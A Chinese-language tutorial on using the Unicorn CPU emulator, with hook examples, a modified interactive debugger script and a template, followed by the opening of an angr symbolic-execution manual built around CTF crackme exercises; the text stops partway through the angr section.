Unicorn

一、功能介绍

1.初始化

(1)前置模块及架构

1
2
3
4
# -*- coding:UTF-8 -*-
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *

unicorn.x86_const这个模块是可以改变的,可以换成以下多种架构

image-20211118211823271

(2)main函数初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
print("Emulate amd64 code")
uc = Uc(UC_ARCH_X86, UC_MODE_64)
binary = "./binary"

BASE = 0
CODE = BASE + 0x0
CODE_SIZE = 2 * 1024 * 1024

# mov r8,0x123
# mov r9,0x456
CODE_DATA = b"\x49\xc7\xc0\x23\x01\x00\x00" + b"\x49\xc7\xc1\x56\x04\x00\x00"
#CODE_DATA = getCODEFromBinary(binary)

STACK = 0x7F00000000
STACK_SIZE = 2 * 1024 * 1024

FS = 0x7FF0000000
FS_SIZE = 0x100000

#初始化UC
initUC(uc,CODE,CODE_SIZE, STACK, STACK_SIZE)

UC_ARCH_X86:代表x86架构

UC_MODE_64:代表64位

UC_MODE_32:代表32位

CODE:表示装载进入内存的代码数据地址

CODE_DATA:表示自定义的代码或者从binary中获取的相关代码数据

STACK:表栈的数据地址

(3)其他初始化

①内存初始化

栈和代码数据,向CODE中写入CODE_DATA

1
2
3
4
# 获取一块内存用来保存程序的所有数据
uc.mem_map(CODE, CODE_SIZE, UC_PROT_ALL)
uc.mem_map(STACK, STACK_SIZE, UC_PROT_ALL)
uc.mem_write(CODE, CODE_DATA)

②寄存器初始化

在initUC中被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def initReg(uc,STACK=0x7F00000000,RAX_DATA=0,RBX_DATA=0,
RCX_DATA=0,RDX_DATA=0,RSI_DATA=0,
RDI_DATA=0,R8_DATA=0,R9_DATA=0,
R10_DATA=0,R11_DATA=0,R12_DATA=0,
R13_DATA=0,R14_DATA=0,R15_DATA=0):
uc.reg_write(UC_X86_REG_RAX, RAX_DATA)
uc.reg_write(UC_X86_REG_RBX, RBX_DATA)
uc.reg_write(UC_X86_REG_RCX, RCX_DATA)
uc.reg_write(UC_X86_REG_RDX, RDX_DATA)
uc.reg_write(UC_X86_REG_RSI, RSI_DATA)
uc.reg_write(UC_X86_REG_RDI, RDI_DATA)
uc.reg_write(UC_X86_REG_R8, R8_DATA)
uc.reg_write(UC_X86_REG_R9, R9_DATA)
uc.reg_write(UC_X86_REG_R10, R10_DATA)
uc.reg_write(UC_X86_REG_R11, R11_DATA)
uc.reg_write(UC_X86_REG_R12, R12_DATA)
uc.reg_write(UC_X86_REG_R13, R13_DATA)
uc.reg_write(UC_X86_REG_R14, R14_DATA)
uc.reg_write(UC_X86_REG_R15, R15_DATA)
uc.reg_write(UC_X86_REG_RSP, STACK + 0x1000)

(4)其他常用功能函数

①从binary中获取代码

1
2
3
4
def getCODEFromBinary(binary):
with open(binary, "rb") as f:
CODE_DATA = f.read()
return CODE_DATA

②单步显示结果

1
2
3
4
5
6
7
8
9
10
def hook_OneStep(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
#利用ret来跳过printf函数,类似还可以跳过其他函数
if address == 0x640: # printf
rsp = uc.reg_read(UC_X86_REG_RSP)
retn_addr = u64(uc.mem_read(rsp,8))
uc.reg_write(UC_X86_REG_RIP, retn_addr)
#跳过某条指令,这里跳过rdrand rax指令
if code == b"\x48\x0F\xC7\xF0":
uc.reg_write(UC_X86_REG_RIP, address + 4)

然后这个需要在之后加入到uc的回调函数中,一般在main函数中添加,如下:

1
uc.hook_add(UC_HOOK_CODE, hook_OneStep, None, CODE, len(CODE_DATA))

添加hook_OneStep函数,使得CODE~CODE+len(CODE_DATA)中每条指令执行时都调用该hook_OneStep函数,便于我们观察运行过程。

③整块显示结果

1
2
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))

这个也是需要添加的

1
uc.hook_add(UC_HOOK_BLOCK, hook_block)

我们运行代码可以是一块一块的:

1
2
3
# 运行一段代码
uc.emu_start(CODE, CODE + 0x7*2)
uc.emu_start(CODE + 0x7 * 2, CODE + 0x7 * 4)

这个整块的block函数就是用在每块代码开始的时候运行该块函数

④无效内存访问的回调函数

1
2
3
4
5
6
7
8
9
10
11
12
def hook_MemInvalid(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE_UNMAPPED:
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x"%(address, size, value))
# map this memory in with 2MB in size
uc.mem_map(0xaaaa0000, 2 * 1024*1024)
# return True to indicate we want to continue emulation
return True
else:
# return False to indicate we want to stop emulation
return False

#uc.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_MemInvalid)

⑤内存访问的回调函数

1
2
3
4
5
6
7
8
def hook_MemAccess(uc, access, address, size, value, user_data):
if access == UC_MEM_WRITE:
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x"%(address, size, value))
else: # READ
print(">>> Memory is being READ at 0x%x, data size = %u"%(address, size))

#uc.hook_add(UC_HOOK_MEM_WRITE, hook_MemAccess)
#uc.hook_add(UC_HOOK_MEM_READ, hook_MemAccess)

2.启动unicorn

通常使用如下代码启动

1
2
3
4
5
6
try:
# 运行一段代码
uc.emu_start(CODE, CODE + 0x7*3)
uc.emu_start(CODE + 0x7 * 3, CODE + 0x7 * 4)
except UcError as e:
print("ERROR: %s" % e)

这里就代表运行了两块代码,分别为CODE ~ CODE + 0x7*3CODE + 0x7 * 3 ~ CODE + 0x7 * 4

参考:

使用unicorn来自动化解题 - 安全客,安全资讯平台 (anquanke.com)

CTFWIKI

3.调试器

详情参考:

[原创] Unicorn 在 Android 的应用-Android安全-看雪论坛-安全社区|安全招聘|bbs.pediy.com

这里将一些东西改了下,原本无名侠师傅的调试器代码中就自带不同ARCH和MODE,只不过分享上述文章时,改掉了只有ARM,这里我加了回去,顺带加入了mips架构,另外还加了一些个人常用的命令,并且在linux下的某些\n换行问题(split函数),这里也一并修改了。然后从一个PWN选手的角度,加了一点功能,输入help查看所有功能

uniDbg.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
import re

from unicorn import *
from uniDbg_REG import *
import sys
import hexdump
import capstone as cp

BPT_EXECUTE = 1
BPT_MEMREAD = 2
UDBG_MODE_ALL = 1
UDBG_MODE_FAST = 2



def str2int(s):
if s.startswith('0x') or s.startswith("0X"):
return int(s[2:], 16)
return int(s)

def numToStr(num):
amountByte = 0
str = ""
while True:
if (num == 0):
amountByte = 1
break
elif (num >= pow(16, amountByte * 2)):
amountByte += 1
continue
else:
break
for i in range(1, amountByte + 1):
newNum = num >> 8
myChr = num - newNum * 0x100
str += chr(myChr)
num = newNum
str = ''.join(reversed(str))
return str

def advance_dump(data, base):
PY3K = sys.version_info >= (3, 0)
generator = hexdump.genchunks(data, 16)
retstr = ''
for addr, d in enumerate(generator):
# 00000000:
line = '%08X: ' % (base + addr * 16)
# 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
dumpstr = hexdump.dump(d)
line += dumpstr[:8 * 3]
if len(d) > 8: # insert separator if needed
line += ' ' + dumpstr[8 * 3:]
# ................
# calculate indentation, which may be different for the last line
pad = 2
if len(d) < 16:
pad += 3 * (16 - len(d))
if len(d) <= 8:
pad += 1
line += ' ' * pad

for byte in d:
# printable ASCII range 0x20 to 0x7E
if not PY3K:
byte = ord(byte)
if 0x20 <= byte <= 0x7E:
line += chr(byte)
else:
line += '.'
retstr += line + '\n'
return retstr


def _dbg_trace(mu, address, size, self):
self._tracks.append(address)
if not self._is_step and self._tmp_bpt == 0:
if address not in self._list_bpt:
return

if self._tmp_bpt != address and self._tmp_bpt != 0:
return

return _dbg_trace_internal(mu, address, size, self)


def _dbg_memory(mu, access, address, length, value, self):
pc = mu.reg_read(arm_const.UC_ARM_REG_PC)
print("memory error: pc: %x access: %x address: %x length: %x value: %x" %
(pc, access, address, length, value))
_dbg_trace_internal(mu, pc, 4, self)
mu.emu_stop()
return True


def _dbg_trace_internal(mu, address, size, self):
self._is_step = False
print("======================= Registers =======================")
self.dump_reg()
print("======================= Disassembly =====================")
self.dump_asm(address, size * self.dis_count)

while True:
raw_command = input(">")
if raw_command == '':
raw_command = self._last_command
self._last_command = raw_command
command = []
for c in raw_command.split():
if c != "":
command.append(c)
try:
if command[0] == 'set':
if command[1] == 'reg': # set reg regname value
self.write_reg(command[2], str2int(command[3]))
elif command[1] == 'bpt':
self.add_bpt(str2int(command[2]))
elif command[1].startswith('0x') or command[1].startswith('0X'):
self.write_mem(str2int(command[1]),str2int(command[2]))
else:
print("[Debugger Error]command error see help.")
elif command[0].startswith('x'):
view_amount = int(self.read_ex_viewRow(command[0])[2:],10)
if(view_amount == 0):
view_amount = 1
read_fmt_str = self.read_ex_last(command[0])
if(read_fmt_str == 'gx'):
content = self.read_mem(str2int(command[1]), view_amount * 8)
self.fmt_print_mem(read_fmt_str,str2int(command[1]),content)
elif(read_fmt_str == 'wx'):
content = self.read_mem(str2int(command[1]), view_amount * 4)
self.fmt_print_mem(read_fmt_str,str2int(command[1]), content)
elif(read_fmt_str == 's'):
content = self.read_mem(str2int(command[1]), view_amount * 32)
self.fmt_print_mem(read_fmt_str,str2int(command[1]), content)
elif(read_fmt_str == 'si'):
self.dump_asm(str2int(command[1]), view_amount * self.dis_count)

elif command[0] == 's' or command[0] == 'step':
# self._tmp_bpt = address + size
self._tmp_bpt = 0
self._is_step = True
break
elif command[0] == 'n' or command[0] == 'next':
self._tmp_bpt = address + size
self._is_step = False
break
elif command[0] == 'r' or command[0] == 'run':
self._tmp_bpt = 0
self._is_step = False
break
elif command[0] == 'dump':
if len(command) >= 3:
nsize = str2int(command[2])
else:
nsize = 4 * 16
self.dump_mem(str2int(command[1]), nsize)
elif command[0] == 'i' or command[0] == 'info':
if command[1] == 'b' or command[1] == 'bpt':
self.list_bpt()
elif command[0] == 'd' or command[0] == 'delete':
self.del_bpt(str2int(command[1]))
elif command[0] == 'stop':
break
elif command[0] == 't':
self._castone = self._capstone_thumb
print("======================= Disassembly =====================")
self.dump_asm(address, size * self.dis_count)
elif command[0] == 'a':
self._castone = self._capstone_arm
print("======================= Disassembly =====================")
self.dump_asm(address, size * self.dis_count)
elif command[0] == 'f':
print(" == recent ==")
for i in self._tracks[-10:-1]:
print(self.sym_handler(i))
elif command[0] == 'help':
self.show_help()
elif command[0] == 'context':
print("======================= Registers =======================")
self.dump_reg()
print("======================= Disassembly =====================")
self.dump_asm(address, size * self.dis_count)
else:
print("Command Not Found!")

except:
print("[Debugger Error]command error see help.")


class UnicornDebugger:
def __init__(self, mu, mode=UDBG_MODE_ALL):
self._ex_seg = re.compile(r'x/\d+')
self._tracks = []
self._mu = mu
self._arch = mu._arch
self._mode = mu._mode
self._list_bpt = []
self._tmp_bpt = 0
self._error = ''
self._last_command = ''
self.dis_count = 5
self._is_step = False
self.sym_handler = self._default_sym_handler
self._capstone_arch = None
self._capstone_mode = None

# if self._arch != UC_ARCH_ARM:
# mu.emu_stop()
# raise RuntimeError("arch:%d is not supported! " % self._arch)
if self._arch == UC_ARCH_ARM:
capstone_arch = cp.CS_ARCH_ARM
elif self._arch == UC_ARCH_ARM64:
capstone_arch = cp.CS_ARCH_ARM64
elif self._arch == UC_ARCH_X86:
capstone_arch = cp.CS_ARCH_X86
elif self._arch == UC_ARCH_MIPS:
capstone_arch = cp.CS_ARCH_MIPS
else:
mu.emu_stop()
raise RuntimeError("arch:%d is not supported! " % self._arch)

if self._mode == UC_MODE_THUMB:
capstone_mode = cp.CS_MODE_THUMB
elif self._mode == UC_MODE_ARM:
capstone_mode = cp.CS_MODE_ARM
elif self._mode == UC_MODE_MIPS32:
capstone_mode = cp.CS_MODE_MIPS32
elif self._mode == UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN:
capstone_mode = cp.CS_MODE_MIPS32 + cp.CS_MODE_BIG_ENDIAN
elif self._mode == UC_MODE_MIPS64:
capstone_mode = cp.CS_MODE_MIPS64
elif self._mode == UC_MODE_MIPS64 + UC_MODE_BIG_ENDIAN:
capstone_mode = cp.CS_MODE_MIPS64 + cp.CS_MODE_BIG_ENDIAN
elif self._mode == UC_MODE_32:
capstone_mode = cp.CS_MODE_32
elif self._mode == UC_MODE_64:
capstone_mode = cp.CS_MODE_64
else:
mu.emu_stop()
raise RuntimeError("mode:%d is not supported! " % self._mode)

self._capstone_mode = cp.Cs(capstone_arch, capstone_mode)
self._capstone_arch = cp.Cs(capstone_arch, capstone_mode)
self._capstone = self._capstone_mode

if mode == UDBG_MODE_ALL:
mu.hook_add(UC_HOOK_CODE, _dbg_trace, self)

mu.hook_add(UC_HOOK_MEM_UNMAPPED, _dbg_memory, self)
mu.hook_add(UC_HOOK_MEM_FETCH_PROT, _dbg_memory, self)

self._regs = REG_TABLE[self._arch]

def dump_mem(self, addr, size):
data = self._mu.mem_read(addr, size)
print(advance_dump(data, addr))

def dump_asm(self, addr, size):
md = self._capstone
code = self._mu.mem_read(addr, size)
count = 0
for ins in md.disasm(code, addr):
if count >= self.dis_count:
break
print("%s:\t%s\t%s" % (self.sym_handler(ins.address), ins.mnemonic, ins.op_str))

def dump_reg(self):
result_format = ""
count = 0
for rid in self._regs:
rname = self._regs[rid]
value = self._mu.reg_read(rid)
if count < 4:
result_format = result_format + rname + '=' + hex(value) + '\t'
count += 1
else:
count = 1
result_format += '\n' + rname + '=' + hex(value) + '\t'
print(result_format)

def write_reg(self, reg_name, value):
for rid in self._regs:
rname = self._regs[rid]
if rname == reg_name:
self._mu.reg_write(rid, value)
return
print("[Debugger Error] Reg not found:%s " % reg_name)

def write_mem(self,addr,value):
str = numToStr(value)
self._mu.mem_write(addr,str.encode('UTF-8'))
return

def read_mem(self,addr,length):
str = self._mu.mem_read(addr,length)
return str

def show_help(self):
help_info = """
# commands
# set reg <regname> <value>
# set bpt <addr>
# n[ext]
# s[etp]
# r[un]
# dump <addr> <size>
# i[nfo] b[pt]
# d[elete] <bpt_Idx>
# stop
# a/t change arm/thumb
# f show ins flow
# x/<rowAmount><gx/s/si/wx>
"""
print(help_info)

def list_bpt(self):
for idx in range(len(self._list_bpt)):
print("[%d] %s" % (idx, self.sym_handler(self._list_bpt[idx])))

def add_bpt(self, addr):
self._list_bpt.append(addr)

def del_bpt(self, idx):
del self._list_bpt[idx]
#self._list_bpt.remove(addr)

def get_tracks(self):
for i in self._tracks[-100:-1]:
# print (self.sym_handler(i))
pass
return self._tracks

def _default_sym_handler(self, address):
return hex(address)

def set_symbol_name_handler(self, handler):
self.sym_handler = handler

def read_ex_viewRow(self,str):
return self._ex_seg.findall(str)[0]

def read_ex_last(self,str):
return self._ex_seg.sub('',str)

def fmt_print_mem(self,fmt_str,addr,content):
if(self._mode >= UC_MODE_BIG_ENDIAN):
ending = 'big'
else:
ending = 'little'
count = 0
while(count < len(content)):
if(fmt_str == 'gx'):
print("0x{:0>16x}\t0x{:0>16x}\t0x{:0>16x}".format(addr,int.from_bytes(content[0+count:8+count],byteorder = ending),
int.from_bytes(content[8+count:16+count],byteorder = ending)))
count += 8
elif(fmt_str == 'wx'):
print("0x{:0>8x}\t0x{:0>8x}\t0x{:0>8x}".format(addr,int.from_bytes(content[0+count:4+count],byteorder = ending),
int.from_bytes(content[4+count:8+count],byteorder = ending)))
count += 4
elif(fmt_str == 's'):
print("0x{:0>16x}\t{:>32s}".format(addr,numToStr(int.from_bytes(content[0+count:32+count],byteorder = ending))))
count += 32

uniDbg_REG.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from unicorn import *

REG_ARM = {arm_const.UC_ARM_REG_R0: "R0",
arm_const.UC_ARM_REG_R1: "R1",
arm_const.UC_ARM_REG_R2: "R2",
arm_const.UC_ARM_REG_R3: "R3",
arm_const.UC_ARM_REG_R4: "R4",
arm_const.UC_ARM_REG_R5: "R5",
arm_const.UC_ARM_REG_R6: "R6",
arm_const.UC_ARM_REG_R7: "R7",
arm_const.UC_ARM_REG_R8: "R8",
arm_const.UC_ARM_REG_R9: "R9",
arm_const.UC_ARM_REG_R10: "R10",
arm_const.UC_ARM_REG_R11: "R11",
arm_const.UC_ARM_REG_R12: "R12",
arm_const.UC_ARM_REG_R13: "R13",
arm_const.UC_ARM_REG_R14: "R14",
arm_const.UC_ARM_REG_R15: "R15",
arm_const.UC_ARM_REG_PC: "PC",
arm_const.UC_ARM_REG_SP: "SP",
arm_const.UC_ARM_REG_LR: "LR"
}

REG_ARM64 = {arm64_const.UC_ARM64_REG_X0: "X0",
arm64_const.UC_ARM64_REG_X1: "X1",
arm64_const.UC_ARM64_REG_X2: "X2",
arm64_const.UC_ARM64_REG_X3: "X3",
arm64_const.UC_ARM64_REG_X4: "X4",
arm64_const.UC_ARM64_REG_X5: "X5",
arm64_const.UC_ARM64_REG_X6: "X6",
arm64_const.UC_ARM64_REG_X7: "X7",
arm64_const.UC_ARM64_REG_X8: "X8",
arm64_const.UC_ARM64_REG_X9: "X9",
arm64_const.UC_ARM64_REG_X10: "X10",
arm64_const.UC_ARM64_REG_X11: "X11",
arm64_const.UC_ARM64_REG_X12: "X12",
arm64_const.UC_ARM64_REG_X13: "X13",
arm64_const.UC_ARM64_REG_X14: "X14",
arm64_const.UC_ARM64_REG_X15: "X15",
arm64_const.UC_ARM64_REG_X16: "X16",
arm64_const.UC_ARM64_REG_X17: "X17",
arm64_const.UC_ARM64_REG_X18: "X18",
arm64_const.UC_ARM64_REG_X19: "X19",
arm64_const.UC_ARM64_REG_X20: "X20",
arm64_const.UC_ARM64_REG_X21: "X21",
arm64_const.UC_ARM64_REG_X22: "X22",
arm64_const.UC_ARM64_REG_X23: "X23",
arm64_const.UC_ARM64_REG_X24: "X24",
arm64_const.UC_ARM64_REG_X25: "X25",
arm64_const.UC_ARM64_REG_X26: "P26",
arm64_const.UC_ARM64_REG_X27: "X27",
arm64_const.UC_ARM64_REG_X28: "X28",
arm64_const.UC_ARM64_REG_X29: "X29",
arm64_const.UC_ARM64_REG_SP: "SP",
arm64_const.UC_ARM64_REG_PC: "PC",
}


REG_AMD64 = {x86_const.UC_X86_REG_RAX: "RAX",
x86_const.UC_X86_REG_RBX: "RBX",
x86_const.UC_X86_REG_RCX: "RCX",
x86_const.UC_X86_REG_RDX: "RDX",
x86_const.UC_X86_REG_RDI: "RDI",
x86_const.UC_X86_REG_RSI: "RSI",
x86_const.UC_X86_REG_R8: "R8",
x86_const.UC_X86_REG_R9: "R9",
x86_const.UC_X86_REG_R10: "R10",
x86_const.UC_X86_REG_R11: "R11",
x86_const.UC_X86_REG_R12: "R12",
x86_const.UC_X86_REG_R13: "R13",
x86_const.UC_X86_REG_R14: "R14",
x86_const.UC_X86_REG_R15: "R15",
x86_const.UC_X86_REG_RBP: "RBP",
x86_const.UC_X86_REG_RSP: "RSP",
x86_const.UC_X86_REG_RIP: "RIP",
}

REG_MIPS = {
mips_const.UC_MIPS_REG_ZERO: "ZERO",
mips_const.UC_MIPS_REG_V0: "V0",
mips_const.UC_MIPS_REG_V1: "V1",
mips_const.UC_MIPS_REG_AT: "AT",
mips_const.UC_MIPS_REG_A0: "A0",
mips_const.UC_MIPS_REG_A1: "A1",
mips_const.UC_MIPS_REG_A2: "A2",
mips_const.UC_MIPS_REG_A3: "A3",
mips_const.UC_MIPS_REG_T0: "T0",
mips_const.UC_MIPS_REG_T1: "T1",
mips_const.UC_MIPS_REG_T2: "T2",
mips_const.UC_MIPS_REG_T3: "T3",
mips_const.UC_MIPS_REG_T4: "T4",
mips_const.UC_MIPS_REG_T5: "T5",
mips_const.UC_MIPS_REG_T6: "T6",
mips_const.UC_MIPS_REG_T7: "T7",
mips_const.UC_MIPS_REG_S0: "S0",
mips_const.UC_MIPS_REG_S1: "S1",
mips_const.UC_MIPS_REG_S2: "S2",
mips_const.UC_MIPS_REG_S3: "S3",
mips_const.UC_MIPS_REG_S4: "S4",
mips_const.UC_MIPS_REG_S5: "S5",
mips_const.UC_MIPS_REG_S6: "S6",
mips_const.UC_MIPS_REG_S7: "S7",
mips_const.UC_MIPS_REG_T8: "T8",
mips_const.UC_MIPS_REG_T9: "T9",
mips_const.UC_MIPS_REG_GP: "GP",
mips_const.UC_MIPS_REG_SP: "SP",
mips_const.UC_MIPS_REG_FP: "FP",
mips_const.UC_MIPS_REG_RA: "RA",
}


REG_TABLE = {UC_ARCH_ARM: REG_ARM, UC_ARCH_X86: REG_AMD64,UC_ARCH_MIPS: REG_MIPS,UC_ARCH_ARM64:REG_ARM64}

使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
THUMB = asm('''
mov rax,0x10
mov rdx,0x20
''')
ADDRESS = 0x10000
#注意大端序的话需要加上设置成UC_MODE_64+UC_MODE_BIG_ENDIAN
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(ADDRESS, 2 * 0x10000)
mu.mem_write(ADDRESS, THUMB)

#debugger attach
#需要注意的是,这个需要放在hook函数之前才行,不然可能出现一些意想不到的错误
udbg = UnicornDebugger(mu)
udbg.add_bpt(ADDRESS)

# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(THUMB))

调试起来之后,输入help获取相关的命令信息

image-20220221185425958

添加命令:

其实无名侠师傅的模板已经写得挺好了,我们只要往上加就行了,主要还是设置UnicornDebugger这个类,在中断处理这里添加命令

image-20220221185630168

4.模板

我们用unicorn还是使用模板来进行调试更好,这样能加快分析的速度,这里就给出自己的一个常用模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# -*- coding:UTF-8 -*-
from __future__ import print_function
from pwn import*
from unicorn import *
from unicorn.x86_const import *
from unicornDbg import uniDbg
import ipdb

context.arch = 'amd64'

def hook_OneStep(uc, address, size, user_data):
#print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
# 利用ret来跳过printf函数,类似还可以跳过其他函数
if address == 0x640: # printf
rsp = uc.reg_read(UC_X86_REG_RSP)
retn_addr = u64(uc.mem_read(rsp, 8))
uc.reg_write(UC_X86_REG_RIP, retn_addr)
# 跳过某条指令,这里跳过mov rax,1指令
CODE = uc.mem_read(address,7)
if CODE == asm('''mov rax,1'''):
#if CODE == b"\xb9\x00\x00\x00\x00":
uc.reg_write(UC_X86_REG_RIP,address + 7)


def hook_code(mu, address, size, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))


def initReg(uc, STACK_ADDRESS=0x7F00000000, RAX=0, RBX=0,
RCX=0, RDX=0, RSI=0,
RDI=0, R8=0, R9=0,
R10=0, R11=0, R12=0,
R13=0, R14=0, R15=0):
uc.reg_write(UC_X86_REG_RAX, RAX)
uc.reg_write(UC_X86_REG_RBX, RBX)
uc.reg_write(UC_X86_REG_RCX, RCX)
uc.reg_write(UC_X86_REG_RDX, RDX)
uc.reg_write(UC_X86_REG_RSI, RSI)
uc.reg_write(UC_X86_REG_RDI, RDI)
uc.reg_write(UC_X86_REG_R8, R8)
uc.reg_write(UC_X86_REG_R9, R9)
uc.reg_write(UC_X86_REG_R10, R10)
uc.reg_write(UC_X86_REG_R11, R11)
uc.reg_write(UC_X86_REG_R12, R12)
uc.reg_write(UC_X86_REG_R13, R13)
uc.reg_write(UC_X86_REG_R14, R14)
uc.reg_write(UC_X86_REG_R15, R15)
uc.reg_write(UC_X86_REG_RSP, STACK_ADDRESS + 0x100)
uc.reg_write(UC_X86_REG_RBP, STACK_ADDRESS + 0x200)


def initUC(uc, CODE_DATA,CODE_ADDRESS=0x40000,CODE_SIZE=2 * 1024 * 1024,
STACK_ADDRESS=0x7F00000000, STACK_SIZE=2 * 1024 * 1024):
# 获取一块内存用来保存程序的所有数据
uc.mem_map(CODE_ADDRESS, CODE_SIZE, UC_PROT_ALL)
uc.mem_map(STACK_ADDRESS, STACK_SIZE, UC_PROT_ALL)
uc.mem_write(CODE_ADDRESS, CODE_DATA)



#".text"/".bss"/".got.plt" 即各段名称
def getCODEFromBinary(binary,start = None,count=0x100):
elf = ELF(binary, checksec=False)
if(start == None):
with open(binary, "rb") as f:
CODE_DATA = f.read()
return CODE_DATA
elif( isinstance(start,str)):
start_addr = elf.get_section_by_name(start).header.sh_addr
count = elf.get_section_by_name(start).header.sh_size
else:
start_addr = start
CODE_DATA = elf.read(start_addr,count)
return CODE_DATA



if __name__ == '__main__':
print("Emulate amd64 code")
uc = Uc(UC_ARCH_X86, UC_MODE_64)
binary = "/home/hacker/Desktop/test/note/note"

CODE_ADDRESS = 0x400000
START_ADDRESS = CODE_ADDRESS + 0x0

CODE_DATA = asm('''
mov rax,1
mov rdx,1
mov rcx,1
''')
#CODE_DATA = getCODEFromBinary(binary,".text")

# 初始化UC
initUC(uc, CODE_DATA,CODE_ADDRESS)
initReg(uc, RSI=0x20, RCX=0x40)

#需要放在hook函数之前
udbg = uniDbg.UnicornDebugger(uc)
udbg.add_bpt(START_ADDRESS)

# 添加hook_OneStep函数,使得CODE_ADDRESS~CODE_ADDRESS+len(CODE_DATA)中每条指令执行时
# 都调用该hook_OneStep函数
uc.hook_add(UC_HOOK_CODE, hook_OneStep, None, START_ADDRESS,START_ADDRESS+len(CODE_DATA))

try:
# 运行一段代码
uc.emu_start(START_ADDRESS, START_ADDRESS + 0x30)
except UcError as e:
print("ERROR: %s" % e)

Angr手册

一、初始化

▲简单使用

1
2
3
4
5
6
7
8
9
10
11

import angr
p=angr.Project("./signal.exe") #加载文件
state=p.factory.entry_state() #创造状态state, entry_state构造一个从函数入口点执行的状态
sm=p.factory.simgr(state) #模拟管理器
good=0x4017A5 #想要的地址
fail=0x4017A5
sm.explore(find=good,avoid=fail)
if sm.found: #如果found分类不为空
find_state=sm.found[0] #found里的状态给find_state
print(find_state.posix.dumps(0)) #获取输入

▲模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import angr
import sys
import claripy

filePath = "/home/hacker/Desktop/Reverse/Angr/AngrCTF_FITM/"


def Go():
path_to_binary = filePath + "./14_angr_shared_library/lib14_angr_shared_library.so"

base = 0x4000000
project = angr.Project(path_to_binary, load_options={
'main_opts' : {'custom_base_addr' : base}
})

buffer_pointer = claripy.BVV(0x3000000, 32)

validate_function_address = base + 0x6d7
initial_state = project.factory.call_state(validate_function_address, buffer_pointer, claripy.BVV(8, 32))

password = claripy.BVS('password', 8*8)
initial_state.memory.store(buffer_pointer, password)

simulation = project.factory.simgr(initial_state)

success_address = base + 0x783
simulation.explore(find=success_address)

if simulation.found:
for i in simulation.found:
solution_state = i
solution_state.add_constraints(solution_state.regs.eax != 0)
solution = solution_state.solver.eval(password,cast_to=bytes)
print("[+] Success! Solution is: {0}".format(solution))
#print(scanf0_solution, scanf1_solution)
else:
raise Exception('Could not find the solution')

if __name__ == "__main__":
Go()

1.创建Project

1
2
3
4
5
path_to_binary = filePath + "00_angr_find/00_angr_find"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
#initial_state = project.factory.blank_state(addr=start_address)
simulation = project.factory.simgr(initial_state)

auto_load_libs:表是否载入依赖库的函数,libc等,如果不载入,返回的值是不可约束的,但是载入可能会路径爆炸。

initial_state:告诉angr从入口处开始,或者从指定的地址start_address开始,不过这样一般需要设置一下寄存器。

simulation:获取我们操作的对象,之后的操作即对这个对象进行操作。

2.设置探索路径

(1)设置约束路径

①通过地址设置

1
2
print_good_address = 0x8048678
avoid_me_address = 0x080485A8

